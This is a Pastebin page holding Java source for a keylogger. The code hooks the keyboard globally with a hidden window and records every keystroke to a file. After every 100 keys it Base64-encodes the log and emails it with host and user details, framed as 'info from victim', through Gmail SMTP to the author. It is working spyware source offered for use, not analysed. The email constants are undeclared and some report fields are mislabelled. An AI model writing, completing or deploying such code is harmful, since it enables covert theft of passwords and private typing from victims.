Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.File;
- import java.io.FileWriter;
- import java.io.IOException;
- import java.util.Base64;
- import java.util.UUID;
- import java.util.logging.Level;
- import java.util.logging.Logger;
- import javax.swing.JFrame;
- import javax.swing.JOptionPane;
- import org.jnativehook.GlobalScreen;
- import org.jnativehook.NativeHookException;
- import org.jnativehook.keyboard.NativeKeyEvent;
- import org.jnativehook.keyboard.NativeKeyListener;
- public class Keylogger implements NativeKeyListener {
- private static final String OUTPUT_FILE = "output.txt";
- private static final String PASSWORD = "your_password";
- private static final String MARKER = "AUNIQUEMARKER";
- private int points = 0;
- public static void main(String[] args) {
- try {
- GlobalScreen.registerNativeHook();
- } catch (NativeHookException ex) {
- Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
- System.exit(1);
- }
- GlobalScreen.addNativeKeyListener(new Keylogger());
- JFrame frame = new JFrame();
- frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
- frame.setVisible(false);
- try {
- FileWriter fileWriter = new FileWriter(OUTPUT_FILE);
- fileWriter.close();
- } catch (IOException ex) {
- Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
- }
- System.out.println("Running...");
- }
- @Override
- public void nativeKeyPressed(NativeKeyEvent e) {
- points++;
- System.out.println(points);
- if (e.getKeyCode() == NativeKeyEvent.VC_ESCAPE) {
- File outputFile = new File(OUTPUT_FILE);
- if (outputFile.exists()) {
- outputFile.delete();
- }
- System.exit(0);
- }
- if (e.getKeyCode() != NativeKeyEvent.VC_UNDEFINED && e.getKeyCode() != NativeKeyEvent.VC_BACKSPACE) {
- try {
- FileWriter fileWriter = new FileWriter(OUTPUT_FILE, true);
- String keylogs = NativeKeyEvent.getKeyText(e.getKeyCode());
- if (e.getKeyCode() == NativeKeyEvent.VC_ENTER) {
- keylogs = "\n";
- }
- if (e.getKeyCode() == NativeKeyEvent.VC_SPACE) {
- keylogs = " ";
- }
- fileWriter.write(keylogs);
- fileWriter.close();
- } catch (IOException ex) {
- Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
- }
- }
- if (points == 100) {
- points = 0;
- File outputFile = new File(OUTPUT_FILE);
- if (outputFile.exists()) {
- try {
- byte[] fileContent = java.nio.file.Files.readAllBytes(outputFile.toPath());
- String encodedContent = Base64.getEncoder().encodeToString(fileContent);
- String body = String.format("New stuff info from victim\n"
- + "===========================\n"
- + "Name: %s\n"
- + "FQDN: %s\n"
- + "System Platform: %s\n"
- + "Machine: %s\n"
- + "Node: %s\n"
- + "Platform: %s\n"
- + "Processor: %s\n"
- + "System OS: %s\n"
- + "Release: %s\n"
- + "Version: %s\n",
- java.net.InetAddress.getLocalHost().getHostName(),
- java.net.InetAddress.getLocalHost().getCanonicalHostName(),
- System.getProperty("os.name"),
- System.getProperty("os.arch"),
- System.getProperty("os.version"),
- System.getProperty("user.name"),
- System.getProperty("java.version"),
- System.getProperty("java.vendor"),
- System.getProperty("java.home"));
- String part1 = String.format("From: Victim <%s>\n"
- + "To: Filip <%s>\n"
- + "Subject: New Info From Keylogger\n"
- + "MIME-Version: 1.0\n"
- + "Content-Type: multipart/mixed; boundary=%s\n"
- + "--%s\n",
- SENDER_EMAIL,
- RECEIVER_EMAIL,
- MARKER,
- MARKER);
- String part2 = String.format("Content-Type: text/plain\n"
- + "Content-Transfer-Encoding:8bit\n"
- + "%s\n"
- + "--%s\n",
- body,
- MARKER);
- String part3 = String.format("Content-Type: multipart/mixed; name=\"%s\"\n"
- + "Content-Transfer-Encoding:base64\n"
- + "Content-Disposition: attachment; filename=%s\n"
- + "%s\n"
- + "--%s--\n",
- outputFile.getName(),
- outputFile.getName(),
- encodedContent,
- MARKER);
- String message = part1 + part2 + part3;
- javax.mail.Session session = javax.mail.Session.getInstance(System.getProperties(), null);
- try {
- javax.mail.internet.MimeMessage mimeMessage = new javax.mail.internet.MimeMessage(session);
- mimeMessage.setFrom(new javax.mail.internet.InternetAddress(SENDER_EMAIL));
- mimeMessage.setRecipient(javax.mail.Message.RecipientType.TO, new javax.mail.internet.InternetAddress(RECEIVER_EMAIL));
- mimeMessage.setSubject("New Info From Keylogger");
- mimeMessage.setContent(message, "text/plain");
- javax.mail.Transport transport = session.getTransport("smtp");
- transport.connect("smtp.gmail.com", SENDER_EMAIL, PASSWORD);
- transport.sendMessage(mimeMessage, mimeMessage.getAllRecipients());
- transport.close();
- System.out.println("Success");
- outputFile.delete();
- try {
- FileWriter fileWriter = new FileWriter(OUTPUT_FILE);
- fileWriter.close();
- } catch (IOException ex) {
- Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
- }
- } catch (javax.mail.MessagingException ex) {
- Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
- }
- } catch (IOException ex) {
- Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
- }
- }
- }
- }
- @Override
- public void nativeKeyReleased(NativeKeyEvent e) {
- }
- @Override
- public void nativeKeyTyped(NativeKeyEvent e) {
- }
- }
Add Comment
Please, Sign In to add comment